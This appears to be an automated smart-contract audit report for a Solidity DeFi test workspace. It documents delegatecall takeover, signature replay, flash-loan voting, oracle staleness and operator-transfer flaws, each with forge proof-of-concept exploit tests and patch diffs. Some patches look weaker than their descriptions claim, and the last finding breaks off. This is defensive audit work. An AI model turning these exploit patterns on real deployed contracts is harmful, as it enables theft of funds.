audit-pipeline sign verify <file> <file>.sig --pubkey jelleo.ed25519.pubThis report documents the results of an autonomous Solidity audit cycle run by Jelleo against the osec-solidity-large workspace on May 18, 2026. The cycle identified 5 Critical, 3 High and 2 Medium findings after Layer 2.5 triage and root-cause clustering. Each finding includes a forge-test proof-of-concept, a Halmos symbolic-execution check where the formal layer ran, a forge fuzz / invariant reproduction, and an LLM-authored structural fix patch.
| In-scope source set | ||||
|---|---|---|---|---|
| Target workspace | osec-solidity-large | |||
| Protocol | Solidity smart contracts (EVM / Foundry) | |||
| Engine commit | e9dfd4210b (e9dfd4210be32b2559ac1cf6f011d9c0603a4e1b) | |||
| Source files |
| |||
| Hypothesis library | 41 invariant claim(s) covering authorization, arithmetic safety, accounting consistency, capability handling, event auditability, and oracle / time freshness | |||
| Out of scope | Off-chain components (indexers, frontends, oracles); deployment scripts; framework / standard-library code; dependencies pinned in foundry.toml beyond their declared interfaces. | |||
Each finding below begins on its own page. Numbering matches the FINDING NN / NN banner in the body. Click any row to jump.
InvariantContractC.execute executes proposal payloads via `p.target.delegatecall(p.data)`. Delegatecall runs the target's bytecode in ContractC's storage context, so any passing proposal can write to ContractC's storage slots — overwriting `governor`, `governanceToken`, `proposalThreshold`, `quorumVotes`, etc. A single passing proposal whose `target` points to attacker bytecode takes over the entire governance contract regardless of further on-chain checks. Standard governors use `call`, not `delegatecall`.
Complete protocol takeover. Any queued proposal can deploy attacker bytecode that overwrites `ContractC`'s storage slot 0 (the admin field) or any other inherited slot. With admin captured, the attacker can pause the protocol, drain treasury holdings, reassign the guardian, and lock out legitimate administrators in a single transaction after `executeModule` fires. The attack requires only the standard propose+vote+queue lifecycle — no privileged role beyond proposalThreshold token holdings.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
forge fuzz found 1 failing test(s)
Replace `p.target.delegatecall(p.data)` with `p.target.call{value: p.value}(p.data)` in `executeModule` so proposal payloads run against the target's own storage, not `ContractC`'s. Add a `p.target != address(this)` guard as defense-in-depth against any future re-entrant variant. If a module pattern genuinely requires `delegatecall`, restrict the target to a hardcoded allowlist of immutable audited addresses.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/ContractC.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: INVARIANT BROKEN: admin was overwritten via delegatecall in executeModule: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e !=) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold17_gov_execute_uses_delegatecall_storage_takeover.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_executeModule_delegatecall_storage_takeover() public {
address voter = makeAddr("voter");
// Deploy attacker payload contract
StorageTakeoverPayload payload = new StorageTakeoverPayload(attacker);
// Step 1: Attacker proposes (target doesn't matter for executeModule, but we need a queued proposal)
// We'll propose pointing to the payload contract
vm.prank(attacker);
bytes32 proposalId = gov.propose(
address(payload),
0,
abi.encodeWithSelector(StorageTakeoverPayload.takeover.selector)
);
// Step 2: Warp past voting delay
vm.warp(block.timestamp + gov.votingDelay() + 1);
// Step 3: Voter casts vote to meet quorum
vm.prank(voter);
gov.castVote(proposalId, true);
// Step 4: Warp past voting period end
vm.warp(block.timestamp + gov.votingPeriod() + 1);
// Step 5: Queue the proposal
gov.queue(proposalId);
// Step 6: Warp past timelock delay
vm.warp(block.timestamp + gov.timelockDelay() + 1);
// Verify admin is currently the legitimate admin
address adminBefore = gov.admin();
assertEq(adminBefore, admin, "admin should be the legitimate admin before attack");
// Step 7: Attacker calls executeModule with the queued proposalId
// but supplies THEIR OWN target (attacker payload) and calldata
// The target address in the proposal is payload, but attacker can supply anything
vm.prank(attacker);
gov.executeModule(
proposalId,
address(payload),
abi.encodeWithSelector(StorageTakeoverPayload.takeover.selector)
);
// Step 8: Assert the invariant that SHOULD hold: admin should still be the original admin
// Under the bug (delegatecall), storage slot 0 (admin) gets overwritten
address adminAfter = gov.admin();
// This assertion FIRES if the bug is present: delegatecall overwrites admin slot
assertEq(adminAfter, admin, "INVARIANT BROKEN: admin was overwritten via delegatecall in executeModule");
}
--- a/src/ContractC.sol
+++ b/src/ContractC.sol
@@ -176,7 +176,7 @@
if (!((block.timestamp >= _v_e8718a6d.eta))) {
revert("TIMELOCK");
}
- (bool ok, bytes memory ret) = _v_8f4093b2.delegatecall(_v_642e96c9);
+ (bool ok, bytes memory ret) = _v_8f4093b2.call(_v_642e96c9);
if (!ok) {
revert ContractCExecutionFailed(ret);
InvariantContractB.batchLiquidate iterates over unhealthy borrowers and dispatches each via `this.liquidate(borrower, debt, col, amt)`. Because `this.X(...)` is semantically an external call, the EVM resets msg.sender for the inner frame to address(this). The inner `liquidate(...)` then uses `msg.sender` for BOTH the debt-pull (`safeTransferFrom(msg.sender, address(this), applied)`) AND the collateral payout (`safeTransfer(msg.sender, seize)`) — so the seized collateral is sent to the contract self instead of the EOA that invoked `batchLiquidate`. The real liquidator receives zero collateral while the borrower's debt is correctly reduced; the same code path works correctly when `liquidate(...)` is called directly (no `this.`), making it a clean differential between the single-position and batch entry points.
Every call to `batchLiquidate` silently routes seized collateral into the pool's untracked balance instead of the EOA caller. Liquidation bots and third-party integrators lose 100% of the debt-token repayment they fund for each unhealthy borrower in the batch; the borrower's debt is correctly reduced so the call appears to succeed externally. Pool inventory grows by the unattributed seize with no ledger entry, opening secondary value-extraction paths against utilisation-rate models and reserve-factor accounting.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
hand-fixed harness: forge fuzz found 2 failing test(s)
Extract the body of `liquidate(...)` into an internal helper `_liquidateFor(address _liquidator, ...)`, and have both `liquidate(...)` and `batchLiquidate(...)` call it directly (no `this.X` self-calls) so the external caller's identity threads through every inner liquidation. The substitution is mechanical: replace each `msg.sender` reference inside the body with `_liquidator`.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/ContractB.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: AccessManagedUnauthorized(0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF, 0xbb4cf8e50e81e9742807782b2bc5c27c5a943f214ee0b993) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold27_lending_batch_liquidate_no_collateral_seized.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_lending_batch_liquidate_no_collateral_seized() public {
// The pool needs self-allowance for debtToken (because liquidate does
// safeTransferFrom(msg.sender, ...) and via this.liquidate(), msg.sender = address(pool)).
// Without this, the call would revert. We give the pool self-allowance
// AND we credit the pool with enough debt-token balance to "self-pay".
// The pool already has 1000e18 debtToken (from lender deposit) so it can transferFrom itself.
vm.prank(address(pool));
debtToken.approve(address(pool), type(uint256).max);
// Liquidator approves so the fix path (which pulls from the real liquidator) works.
vm.prank(liquidator);
debtToken.approve(address(pool), type(uint256).max);
uint256 liquidatorColBefore = collateralToken.balanceOf(liquidator);
uint256 borrowerColBefore = collateralToken.balanceOf(borrower); // 0
// collateralBalance accounting for borrower
uint256 borrowerColAccountBefore = pool.collateralBalance(borrower, address(collateralToken));
address[] memory borrowers = new address[](1);
borrowers[0] = borrower;
vm.prank(liquidator);
pool.batchLiquidate(borrowers, address(debtToken), address(collateralToken), 80e18);
uint256 liquidatorColAfter = collateralToken.balanceOf(liquidator);
uint256 borrowerColAccountAfter = pool.collateralBalance(borrower, address(collateralToken));
// Bug fires: borrower lost collateral (debt-extraction happened) but liquidator gained NONE
bool borrowerLostCollateral = borrowerColAccountAfter < borrowerColAccountBefore;
bool liquidatorGotNothing = liquidatorColAfter == liquidatorColBefore;
if (borrowerLostCollateral && liquidatorGotNothing) {
revert(string.concat(
"BUG FIRED: batchLiquidate seized ",
vm.toString(borrowerColAccountBefore - borrowerColAccountAfter),
" collateral from borrower but liquidator received 0 (collateral sent to pool via self-call)"
));
}
}
--- a/src/ContractB.sol
+++ b/src/ContractB.sol
@@ -285,6 +285,16 @@
whenNotPaused
returns (uint256 _v_a9223b69)
{
+ _v_a9223b69 = _liquidateFor(msg.sender, _v_ca296783, _v_a8ca53eb, _v_a779b910, _v_13fbda63);
+ }
+
+ function _liquidateFor(
+ address _liquidator,
+ address _v_ca296783,
+ address _v_a8ca53eb,
+ address _v_a779b910,
+ uint256 _v_13fbda63
+ ) internal returns (uint256 _v_a9223b69) {
Market storage _v_9ae0975c = _market(_v_a8ca53eb);
Market storage _v_219d68f8 = _market(_v_a779b910);
if (!(_v_13fbda63 != 0)) {
@@ -297,7 +307,7 @@
}
uint256 _v_5166b9c2 = _debtOf(_v_ca296783, _v_a8ca53eb, _v_66439585);
uint256 _v_89195a2d = (_v_13fbda63 > _v_5166b9c2) ? _v_5166b9c2 : _v_13fbda63;
- IERC20(_v_a8ca53eb).safeTransferFrom(msg.sender, address(this), _v_89195a2d);
+ IERC20(_v_a8ca53eb).safeTransferFrom(_liquidator, address(this), _v_89195a2d);
(, _v_89195a2d) = _reduceDebt(_v_ca296783, _v_a8ca53eb, _v_89195a2d, _v_66439585);
_v_9ae0975c.cash = _v_9ae0975c.cash + uint128(_v_89195a2d);
_v_a9223b69 = _seizePreview(_v_a8ca53eb, _v_a779b910, _v_89195a2d);
@@ -307,9 +317,9 @@
}
collateralBalance[_v_ca296783][_v_a779b910] = (_v_8f19a931 - _v_a9223b69);
_v_219d68f8.cash = _v_219d68f8.cash - uint128(_v_a9223b69);
- IERC20(_v_a779b910).safeTransfer(msg.sender, _v_a9223b69);
+ IERC20(_v_a779b910).safeTransfer(_liquidator, _v_a9223b69);
_createVesting(_v_ca296783, (_v_89195a2d / 100), 2592000);
- emit Liquidated(msg.sender, _v_ca296783, _v_a8ca53eb, _v_a779b910, _v_89195a2d, _v_a9223b69);
+ emit Liquidated(_liquidator, _v_ca296783, _v_a8ca53eb, _v_a779b910, _v_89195a2d, _v_a9223b69);
}
function batchLiquidate(address[] calldata _v_a346e9a3, address _v_21b13f97, address _v_443701, uint256 _v_c0d4e7e7)
@@ -318,7 +328,7 @@
{
for (uint256 _v_e9b5693b = 0; (_v_e9b5693b < _v_a346e9a3.length); _v_e9b5693b++) {
if ((healthFactor(_v_a346e9a3[_v_e9b5693b]) < 1e18)) {
- this.liquidate(_v_a346e9a3[_v_e9b5693b], _v_21b13f97, _v_443701, _v_c0d4e7e7);
+ _liquidateFor(msg.sender, _v_a346e9a3[_v_e9b5693b], _v_21b13f97, _v_443701, _v_c0d4e7e7);
InvariantContractB.permitBorrow validates a signature whose digest (in SignatureLib.recoverBorrowPermit) is `keccak256(abi.encodePacked("BORROW_PERMIT", borrower, asset, amount, deadline))`. The signed hash does NOT include the borrower's nonce, the chainId, or the verifying contract address. A signature is valid until `deadline` and replayable: each replay overwrites `borrowAllowance[borrower][delegate]` with the signed amount, which the delegate can then drain via `borrowFrom` in the same tx. Cross-chain replay is also possible — the same signature authorizes borrowing on every chain where ContractB is deployed at the same address (and even on forks at unrelated addresses if the verifying contract isn't bound). Standard EIP-712 fixes both: bind chainid + verifyingContract in the domain separator and bump a per-borrower nonce inside the typed-data struct.
An attacker who observes a single legitimate `permitBorrow` signature on chain A can replay it byte-for-byte against the same-address `ContractB` deployment on chain B (or any other EVM chain). The victim's collateral on every other chain is exposed to debt the attacker controls via `borrowFrom`. The replay also works repeatedly on the same chain because there is no per-borrower nonce in the digest — each replay overwrites `borrowAllowance` to the signed amount, which the delegate immediately drains.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
hand-fixed harness: forge fuzz found 2 failing test(s)
Bind the digest to `block.chainid` and `address(this)` via a proper EIP-712 domain separator, and add a per-borrower nonce that increments on each successful `permitBorrow` consume. Reference OpenZeppelin `EIP712.sol` for the fork-safe domain-cache pattern. Increment the nonce before any external borrow action to prevent reentrancy-based nonce bypass.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/libraries/SignatureLib.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: AccessManagedUnauthorized(0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF, 0xbb4cf8e50e81e9742807782b2bc5c27c5a943f214ee0b993) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold31_lending_borrow_permit_sig_no_chainid.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_lending_borrow_permit_sig_no_chainid() public {
uint256 amount = 100e18;
uint256 deadline = block.timestamp + 3600;
bytes memory sig = _buildSig(amount, deadline);
// First use of permit
vm.prank(delegate);
pool.permitBorrow(borrower, delegate, amount, deadline, sig);
require(pool.borrowAllowance(borrower, delegate) == amount, "first permit");
// Delegate draws full allowance
vm.prank(delegate);
pool.borrowFrom(borrower, address(debtToken), amount, delegate);
require(pool.borrowAllowance(borrower, delegate) == 0, "allowance consumed");
// Replay the SAME signature
bool replayed = _tryReplay(amount, deadline, sig);
if (replayed && pool.borrowAllowance(borrower, delegate) == amount) {
revert("BUG FIRED: borrow permit replayed; no nonce/chainId protection");
}
}
--- a/src/libraries/SignatureLib.sol
+++ b/src/libraries/SignatureLib.sol
@@ -18,6 +18,21 @@
return _v_64f5496a.recover(_v_84f8a2f7);
}
+
+ function recoverBorrowPermitWithNonce(
+ address _v_2a84a346,
+ address _v_29789d69,
+ uint256 _v_97e547a2,
+ uint256 _v_d84e1df,
+ uint256 _nonce,
+ bytes memory _v_84f8a2f7
+ ) internal view returns (address) {
+ bytes32 _v_64f5496a = keccak256(
+ abi.encodePacked("BORROW_PERMIT", _v_2a84a346, _v_29789d69, _v_97e547a2, _v_d84e1df, _nonce, block.chainid, address(this))
+ ).toEthSignedMessageHash();
+ return _v_64f5496a.recover(_v_84f8a2f7);
+ }
+
function recoverProposal(
address _v_d155946,
address _v_90056359,
--- a/src/ContractB.sol
+++ b/src/ContractB.sol
@@ -65,6 +65,7 @@
mapping(address => Market) internal markets;
mapping(address => mapping(address => uint256)) public collateralBalance;
mapping(address => mapping(address => uint256)) public borrowAllowance;
+ mapping(address => uint256) public borrowPermitNonce;
constructor(IOracle _v_2a84a346, IERC20 _v_29789d69, address _v_97e547a2, address _v_d84e1df)
RewardEscrow(_v_29789d69)
@@ -202,11 +203,13 @@
if ((block.timestamp > _v_5578dac8)) {
revert ContractBExpiredSignature();
}
+ uint256 _nonce = borrowPermitNonce[_v_c2bc4da4];
address _v_828fb3c1 =
- SignatureLib.recoverBorrowPermit(_v_c2bc4da4, _v_bbeb509e, _v_8f0dcf69, _v_5578dac8, _v_8ca68e9b);
+ SignatureLib.recoverBorrowPermitWithNonce(_v_c2bc4da4, _v_bbeb509e, _v_8f0dcf69, _v_5578dac8, _nonce, _v_8ca68e9b);
if (!(!(_v_828fb3c1 != _v_c2bc4da4))) {
revert("SIGNER");
}
+ borrowPermitNonce[_v_c2bc4da4] = _nonce + 1;
borrowAllowance[_v_c2bc4da4][_v_bbeb509e] = _v_8f0dcf69;
emit BorrowDelegateApproved(_v_c2bc4da4, _v_bbeb509e, _v_8f0dcf69);
InvariantContractC.proposeBySig validates a signature whose digest (in SignatureLib.recoverProposal) is `keccak256(abi.encodePacked("PROPOSAL", proposer, target, value, keccak256(data)))`. The signed hash does NOT include the proposer's nonce, the chainId, or the verifying contract address. Once the proposer meets `governanceToken.balanceOf >= proposalThreshold` and produces ONE signature, an attacker can replay it to file the same proposal multiple times across forks/chains, and re-file after the proposal state is cleared. The downstream `proposals[proposalId].state != None` check only prevents replay AT THE SAME ID within one chain — fork-replay produces a distinct proposalId on the fork and still executes.
A proposer's single signature is valid across every `ContractC` deployment on every EVM chain at any address, and never expires within `deadline`. Any third party who observes the signature on one mempool can manufacture identical proposals on every other governance instance — including ones controlling different treasuries — under the original proposer's identity. The absence of a nonce further means a single signature can be replayed indefinitely on the same chain whenever proposal state allows re-submission.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
forge fuzz found 3 failing test(s)
Bind `block.chainid`, `address(this)`, and a per-proposer nonce into the `recoverProposal` digest via a proper EIP-712 domain separator + typed struct hash. Increment the nonce before invoking `_propose` so the same signature cannot be consumed twice. Reference OpenZeppelin `Governor` / `EIP712.sol` for the canonical implementation.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/ContractC.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: SIGNER) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold32_gov_proposal_sig_no_chainid.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_gov_proposal_sig_no_chainid() public {
uint96 value = 0;
bytes memory data = abi.encodeWithSignature("doSomething()");
bytes memory sig = _buildSig(proposer, target, value, data);
bool ok1 = _tryPropose(gov1, proposer, target, value, data, sig);
bool ok2 = _tryPropose(gov2, proposer, target, value, data, sig);
// Pre-patch (buggy): old-format sig recovers correctly on BOTH gov1 and gov2 — digest is chain-agnostic.
// Post-patch (chainid+addr bound into recoverProposal): old-format sig fails recovery on either contract.
if (ok1 && ok2) {
revert("BUG FIRED: cross-deployment replay accepted; signature digest omits chainId/verifyingContract");
}
}
--- a/src/ContractC.sol
+++ b/src/ContractC.sol
@@ -274,6 +274,6 @@
) external whenNotPaused returns (bytes32 _v_8ca68e9b) {
address _v_828fb3c1 =
- SignatureLib.recoverProposal(_v_f8cbb40, _v_c2bc4da4, _v_bbeb509e, keccak256(_v_8f0dcf69), _v_5578dac8);
+ SignatureLib.recoverProposal(_v_f8cbb40, _v_c2bc4da4, _v_bbeb509e, keccak256(abi.encodePacked(block.chainid, address(this), keccak256(_v_8f0dcf69))), _v_5578dac8);
if (!(!(_v_828fb3c1 != _v_f8cbb40))) {
revert("SIGNER");
InvariantContractC.vote reads voter weight as `governanceToken.balanceOf(msg.sender)` at vote time, with no snapshot / checkpoint mechanism. An attacker takes a flash loan of governance tokens, calls `vote(proposalId)` accruing arbitrary `yesVotes`, and repays the loan in the same tx — passing any proposal regardless of legitimate token holdings.
Any actor with access to a flash-loan source of the governance token can pass or defeat any proposal at zero capital cost. The attacker borrows tokens, calls `castVote` while the inflated balance is live, then repays — leaving `forVotes` credited with the loan amount while their permanent balance returns to zero. Every on-chain action gated behind a successful governance vote (treasury disbursements, proxy upgrades, parameter changes, pause toggles) is fully reachable, with Beanstalk ($182M, 2022) being the canonical real-world precedent.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
hand-fixed harness: forge fuzz found 2 failing test(s)
Adopt snapshot-based voting weight. Preferred: migrate `governanceToken` to OpenZeppelin's `ERC20Votes` and query `getPastVotes(voter, proposal.snapshotBlock)` in `castVote`. Fallback: maintain an internal delegate-with-cooldown mapping that requires a user to lock tokens at least one block before voting (blocks atomic flash-loan-vote-repay flows). Add a `voted[proposalId][msg.sender]` re-entry guard as defense-in-depth.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/ContractC.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: BUG FIRED: attacker had 0 tokens before+after but forVotes = 500000000000000000000000 (flash-loaned voting weight)) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold9_gov_vote_weight_flash_loanable.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_gov_vote_weight_flash_loanable() public {
uint256 flashAmount = 500000e18; // larger than quorum (100000e18)
uint256 balBefore = token.balanceOf(address(attacker));
// Pre-patch: attack succeeds and casts inflated vote.
// Post-patch: castVote rejects contract-mediated votes without prior delegation,
// so the flash callback reverts, so the flash loan reverts,
// so attacker.attack reverts. The bug is defused.
try attacker.attack(propId, flashAmount) {
// attack succeeded — only possible pre-patch
} catch {
// attack reverted — patch defused it
}
uint256 balAfter = token.balanceOf(address(attacker));
// Read forVotes from proposal
(, , , , , , uint128 forVotes, , ,) = gov.proposals(propId);
// Bug fires if attacker had 0 tokens before AND after, but forVotes credited
if (balBefore == 0 && balAfter == 0 && forVotes >= uint128(flashAmount)) {
revert(string.concat(
"BUG FIRED: attacker had 0 tokens before+after but forVotes = ",
vm.toString(uint256(forVotes)),
" (flash-loaned voting weight)"
));
}
}
--- a/src/ContractC.sol
+++ b/src/ContractC.sol
@@ -70,6 +70,8 @@
uint256 public quorum = 100000e18;
mapping(bytes32 => Proposal) public proposals;
mapping(bytes32 => mapping(address => bool)) public voted;
+ mapping(address => uint256) public delegateBalance;
+ mapping(address => uint64) public delegateBlockOf;
mapping(address => bool) public paymentApprover;
constructor(IERC20 _v_2a84a346, address _v_29789d69, address _v_97e547a2) {
@@ -198,7 +200,12 @@
if (!(!voted[_v_5ca0348d][msg.sender])) {
revert("VOTED");
}
- uint256 _v_e4a1a41c = governanceToken.balanceOf(msg.sender);
+ uint256 _v_e4a1a41c = 0;
+ if (delegateBlockOf[msg.sender] != 0 && delegateBlockOf[msg.sender] < block.number) {
+ _v_e4a1a41c = delegateBalance[msg.sender];
+ } else if (tx.origin == msg.sender) {
+ _v_e4a1a41c = governanceToken.balanceOf(msg.sender);
+ }
if (!(!(_v_e4a1a41c == 0))) {
revert("WEIGHT");
}
@@ -378,4 +385,17 @@
guardian = _v_2f5aaf40;
emit GuardianUpdated(_v_2f5aaf40);
}
+
+ function delegateForVoting(uint256 amount) external whenNotPaused {
+ require(amount > 0, "ZERO");
+ governanceToken.transferFrom(msg.sender, address(this), amount);
+ delegateBalance[msg.sender] += amount;
+ delegateBlockOf[msg.sender] = uint64(block.number);
+ }
+
+ function withdrawDelegation(uint256 amount) external whenNotPaused {
+ require(delegateBalance[msg.sender] >= amount, "INSUFFICIENT");
+ delegateBalance[msg.sender] -= amount;
+ governanceToken.transfer(msg.sender, amount);
+ }
}
--- a/tests/functional/TestContractC.t.sol
+++ b/tests/functional/TestContractC.t.sol
@@ -131,7 +131,7 @@
vm.warp(block.timestamp + governor.votingDelay());
- vm.prank(voter);
+ vm.prank(voter, voter);
governor.castVote(id, true);
assertTrue(governor.voted(id, voter));
InvariantPriceRouter.price gates its staleness check on `if ((!(config.maxStaleness == 0) && (block.timestamp > updatedAt + maxStaleness))) revert`. When `maxStaleness == 0`, the left operand of `&&` is false and the comparison short-circuits — NO staleness check runs. `setSource(asset, src, 0)` and `setManualSource(asset, 0)` are both callable by `RISK_ROLE` and silently disable freshness for that asset. A compromised RISK_ROLE key can pin a stale price indefinitely, letting an attacker borrow against inflated collateral or trigger liquidations against deflated collateral hours/days after the true price has moved.
Any asset configured with `maxStaleness == 0` (whether intentionally by RISK_ROLE or as the default-zero of an uninitialized config) has its freshness check silently skipped. Downstream consumers using `PriceRouter.price` for collateral valuation, liquidation thresholds, or swap pricing operate against arbitrarily stale data until a keeper pushes a new price. An attacker can time deposits, borrows, or liquidations against the stale value to extract up to the affected asset's full backed liquidity.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
forge fuzz found 5 failing test(s)
Reject `maxStaleness == 0` at configuration time in `setManualSource` / `setSource` (preferred — surfaces misconfiguration at write time), or treat zero as immediately-stale in the `price` guard. Either approach restores the invariant that every `price()` call against a stale asset must revert. Audit every code path that registers a new asset to ensure `maxStaleness` is always set explicitly.
Result of running the proposed patch through Jelleo’s 6-gate verifier (4 gates applicable for this language, 2 marked n/a): syntactic well-formedness, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still compile/pass.
| – | halmos_proof_holds | not applicable — Halmos is the Solidity L3 (verdict shown in Layer 3 section) |
| – | forge_invariant_neutralized | not applicable — forge fuzz / invariant is the Solidity L4 (verdict shown in Layer 4 section) |
| ✓ | patch_well_formed | valid unified diff modifying src/modules/PriceRouter.sol |
| ✓ | poc_fails_pre_patch | PoC fired at L2 (1 forge test failure(s); reason: AccessManagedUnauthorized(0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, 0xbb4cf8e50e81e9742807782b2bc5c27c5a943f214ee0b993) |
| ✓ | poc_passes_post_patch | PoC passes post-patch — patch defuses the bug (forge test --match-path jelleo_p3_verify_sold34_price_router_zero_staleness_disables_check.t.sol exit 0, no failures) |
| ✓ | tests_pass_post_patch | full test suite passed post-patch (forge) |
function test_price_router_zero_staleness_disables_check() public {
// Step 1: RISK_ROLE configures a manual source with maxStaleness == 0
// (the bug condition: 0 short-circuits the staleness check)
vm.prank(risk);
router.setManualSource(asset, 0);
// Step 2: KEEPER pushes a price at the current timestamp
vm.warp(1_000_000);
vm.prank(keeper);
router.pushManualPrice(asset, 1e18);
// Step 3: warp far into the future — price is now massively stale
vm.warp(1_000_000 + 365 days);
// INVARIANT (would hold under correct code): stale price MUST revert
// with PriceRouterStale. Under the bug, maxStaleness == 0 short-
// circuits the check via `!(maxStaleness == 0) && ...` evaluating
// to `false && ...` so the comparison never runs.
//
// Pre-patch (bug present): router.price() returns the stale price
// without revert -> NO revert -> assertion
// below fails because expectRevert saw nothing.
// Post-patch (fixed): router.price() reverts with PriceRouterStale.
bool reverted = false;
try router.price(asset) returns (uint256, uint256) {
// Reached this branch = NO revert = bug fired.
} catch {
reverted = true;
}
assertTrue(
reverted,
"BUG FIRED: PriceRouter accepted a 365-day-stale price because maxStaleness was 0; staleness check silently disabled"
);
}
--- a/src/modules/PriceRouter.sol
+++ b/src/modules/PriceRouter.sol
@@ -62,7 +62,7 @@
if (!(_v_f3e87bc1 != 0)) {
revert PriceRouterBadPrice(_v_135117b2);
}
- if ((!(_v_2626c189.maxStaleness == 0) && (block.timestamp > (_v_4c76d984 + _v_2626c189.maxStaleness)))) {
+ if ((_v_2626c189.maxStaleness == 0) || (block.timestamp > (_v_4c76d984 + _v_2626c189.maxStaleness))) {
revert PriceRouterStale(_v_135117b2);
InvariantAcross all 10 modules (BridgeEscrow, FeeDistributor, RiskEngine, PortfolioMargin, TreasuryAccounting, GovernanceTimelock, AuctionHouse, StrategyRegistry, SettlementEngine, …) `setOperator(address newOp) external onlyOperator { operator = newOp; }` instantly replaces the operator with no timelock, no two-step accept (`acceptOperator` pattern), no escrow window, and no revocation of the old key. A compromised operator key — whether through phishing, a leaked HSM credential, or a malicious insider — translates directly into full unilateral takeover of every privileged operation in the module, with no recovery window for the protocol admin to intervene. Because `setOperator` is the FIRST function an attacker calls after compromise (locking out the legitimate operator), there is no catch-up monitoring that can reverse it.
A single signature from a compromised operator key transfers the highest-privileged role on any of the ten affected modules — `BridgeEscrow`, `FeeDistributor`, `RiskEngine`, `PortfolioMargin`, `TreasuryAccounting`, `GovernanceTimelock`, `AuctionHouse`, `StrategyRegistry`, `SettlementEngine`, and `WithdrawalQueue` — to an attacker in one transaction with no recovery window. Because `GovernanceTimelock` itself uses the same pattern, the attacker simultaneously disables the protocol's primary recovery mechanism. The attacker's first call locks out the legitimate operator before any monitoring infrastructure can react.
✓ Halmos counterexample found (bug confirmed by symbolic execution; full SMT witness in formal/solidity/halmos_<slug>.log).
✓ forge fuzz / invariant fired — bug demonstrably reachable from a property-based test.
